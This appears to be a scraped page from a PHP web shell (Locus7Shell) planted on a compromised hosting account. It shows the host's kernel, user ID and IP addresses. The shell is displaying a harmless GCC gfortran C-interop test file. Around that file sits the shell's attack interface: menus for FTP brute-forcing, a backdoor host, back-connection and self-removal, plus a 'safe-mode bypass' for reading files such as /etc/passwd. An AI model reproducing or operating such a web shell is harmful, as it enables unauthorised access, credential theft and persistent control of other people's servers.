Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gfortran.dg/c-interop/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     cf-descriptor-7-c.c (1.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include <stdlib.h>
#include <stdio.h>
#include <stddef.h>

#include <ISO_Fortran_binding.h>
#include "dump-descriptors.h"

extern void ctest (CFI_cdesc_t *a);
extern void ftest (CFI_cdesc_t *iarray, CFI_cdesc_t *jarray);

struct m {
  int i;
  int j;
};

void
ctest (CFI_cdesc_t *a)
{
  CFI_CDESC_T(2) idesc;
  CFI_cdesc_t *iarray = (CFI_cdesc_t *) &idesc;
  CFI_CDESC_T(2) jdesc;
  CFI_cdesc_t *jarray = (CFI_cdesc_t *) &jdesc;
  int i, j;

  /* Dump the descriptor contents to test that we can access the fields
     correctly, etc.  */
  dump_CFI_cdesc_t (a);

  if (a->rank != 2)
    abort ();

  /* Fill in the new descriptors.  */
  check_CFI_status ("CFI_establish",
            CFI_establish (iarray, NULL, CFI_attribute_pointer,
                   CFI_type_int,
                   sizeof (int), 2, NULL));
  check_CFI_status ("CFI_select_part",
            CFI_select_part (iarray, a, offsetof (struct m, i),
                     sizeof (int)));

  check_CFI_status ("CFI_establish",
            CFI_establish (jarray, NULL, CFI_attribute_pointer,
                   CFI_type_int,
                   sizeof (int), 2, NULL));
  check_CFI_status ("CFI_select_part",
            CFI_select_part (jarray, a, offsetof (struct m, j),
                     sizeof (int)));
  
  /* Sanity checking to make sure the descriptor has been initialized
     properly.  */
  dump_CFI_cdesc_t (iarray);
  if (iarray->version != CFI_VERSION)
    abort ();
  if (iarray->rank != 2)
    abort ();
  if (iarray->attribute != CFI_attribute_pointer)
    abort ();
  if (!iarray->base_addr)
    abort ();
  if (iarray->dim[0].extent != a->dim[0].extent)
    abort ();
  if (iarray->dim[1].extent != a->dim[1].extent)
    abort ();

  dump_CFI_cdesc_t (jarray);
  if (jarray->version != CFI_VERSION)
    abort ();
  if (jarray->rank != 2)
    abort ();
  if (jarray->attribute != CFI_attribute_pointer)
    abort ();
  if (!jarray->base_addr)
    abort ();
  if (jarray->dim[0].extent != a->dim[0].extent)
    abort ();
  if (jarray->dim[1].extent != a->dim[1].extent)
    abort ();

  /* Call back into Fortran.  */
  ftest (iarray, jarray);
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0058 ]--